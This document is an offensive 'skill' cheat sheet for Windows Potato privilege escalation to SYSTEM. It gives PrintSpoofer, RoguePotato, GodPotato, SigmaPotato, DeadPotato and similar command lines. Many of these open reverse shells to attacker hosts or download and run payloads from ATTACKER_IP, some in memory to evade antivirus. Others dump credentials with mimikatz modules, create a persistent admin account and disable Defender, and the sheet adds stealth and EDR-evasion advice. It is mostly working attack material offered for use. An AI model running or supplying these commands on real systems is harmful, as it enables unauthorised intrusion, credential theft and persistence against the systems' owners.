Windows Potato Priv Esc

Windows Potato Privilege Escalation

This skill covers modern Windows local privilege escalation techniques that abuse impersonation-capable services to gain NT AUTHORITY\SYSTEM access. These tools work on Windows 10/11 and Server 2012–2022 where JuicyPotato no longer functions.

Quick Decision Guide

Prerequisites

All Potato tools require one of these privileges:

• SeImpersonatePrivilege (most common)
• SeAssignPrimaryTokenPrivilege

Check privileges:

whoami /priv | findstr /i impersonate

If privileges are missing: Service accounts like Local Service/Network Service may have restricted tokens. Use FullPowers to restore default privileges:

FullPowers.exe -c "cmd /c whoami /priv" -z

Tool Usage

PrintSpoofer

Requires Print Spooler service running.

# Run command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami"

# Spawn interactive shell
PrintSpoofer.exe -i

# Reverse shell
PrintSpoofer.exe -c "nc.exe 10.10.10.10 443 -e cmd"

Fails if: Spooler service is disabled (common post-PrintNightmare hardening).

RoguePotato

Requires OXID resolver reachable on TCP/135.

# Basic usage
RoguePotato.exe -r 10.10.10.10 -c "cmd /c whoami" -l 9999

# Older versions need -f flag
RoguePotato.exe -r 10.10.10.10 -c "cmd /c whoami" -f 9999

If outbound 135 is blocked: Use a redirector:

# On attacker machine (redirector)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

# On victim
RoguePotato.exe -r REDIRECTOR_IP -c "cmd /c whoami" -l 9999

PrintNotifyPotato

Targets PrintNotify COM service instead of Spooler. Works even when Spooler is disabled.

# Run command
PrintNotifyPotato.exe "cmd /c whoami"

# Run script
PrintNotifyPotato.exe "powershell -ep bypass -File C:\ProgramData\stage.ps1"

Advantages:

• No named-pipe listeners or external redirectors needed
• Works on Windows 10/11 and Server 2012–2022
• Purely COM-based, less likely to trigger Defender

SharpEfsPotato

Abuses MS-EFSR service via named pipes.

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"

If pipe fails (error 0x6d3): Try alternative pipes with EfsPotato instead.

EfsPotato

Supports multiple named pipes. Try different pipes if one is blocked.

# Default pipe (lsarpc)
EfsPotato.exe "whoami"

# Try alternative pipes
EfsPotato.exe "whoami" lsarpc
EfsPotato.exe "whoami" efsrpc
EfsPotato.exe "whoami" samr
EfsPotato.exe "whoami" lsass
EfsPotato.exe "whoami" netlogon

Supported pipes: lsarpc, efsrpc, samr, lsass, netlogon

GodPotato

Works across Windows 8/8.1–11 and Server 2012–2022.

# Basic command
GodPotato.exe -cmd "cmd /c whoami"

# Reverse shell
GodPotato.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

Runtime selection: Use the binary matching the installed .NET runtime:

• GodPotato-NET4.exe for modern Server 2022
• GodPotato.exe for older systems

For webshells with short timeouts: Stage payload as script:

# From IIS webroot
iwr http://ATTACKER_IP/GodPotato-NET4.exe -OutFile gp.exe
iwr http://ATTACKER_IP/shell.ps1 -OutFile shell.ps1
./gp.exe -cmd "powershell -ep bypass C:\inetpub\wwwroot\shell.ps1"

DCOMPotato

Targets DCOM objects with RPC_C_IMP_LEVEL_IMPERSONATE.

# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"

# McpManagementService variant (Server 2022)
McpManagementPotato.exe "cmd /c whoami"

SigmaPotato (Recommended for 2024–2025)

Modern fork of GodPotato with in-memory execution and extended OS support.

# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")

# Spawn PowerShell reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))

Features in v1.2.x:

• Built-in --revshell flag
• No 1024-char PowerShell limit (run long AMSI-bypass payloads)
• Reflection-friendly syntax
• AV evasion via VirtualAllocExNuma()
• SigmaPotatoCore.exe for PowerShell Core (.NET 2.0)

DeadPotato (2024 Rework)

GodPotato with built-in post-exploitation modules. Higher EDR detection risk.

# Reverse shell
DeadPotato.exe -rev 10.10.14.7:4444

# Create local admin for persistence
DeadPotato.exe -newadmin pwned:P@ssw0rd!

# Run SharpHound as SYSTEM
DeadPotato.exe -sharphound

# Dump credentials (noisy, touches disk)
DeadPotato.exe -mimi sam
DeadPotato.exe -mimi lsa
DeadPotato.exe -mimi all

# Disable Defender (very noisy)
DeadPotato.exe -defender off

# Run arbitrary command
DeadPotato.exe -cmd "whoami"

Modules: -cmd, -rev, -newadmin, -mimi, -sharphound, -defender

Common Errors and Solutions

Operational Best Practices

1. Check privileges first - Always verify SeImpersonatePrivilege before attempting escalation
2. Test multiple tools - If one fails, try alternatives (different pipes, services)
3. Stage payloads for webshells - Avoid long inline commands that may timeout
4. Use in-memory tools for stealth - SigmaPotato reflection avoids disk artifacts
5. Have a redirector ready - For RoguePotato when outbound 135 is blocked
6. Expect EDR on kitchen-sink tools - DeadPotato modules are noisier than slim originals
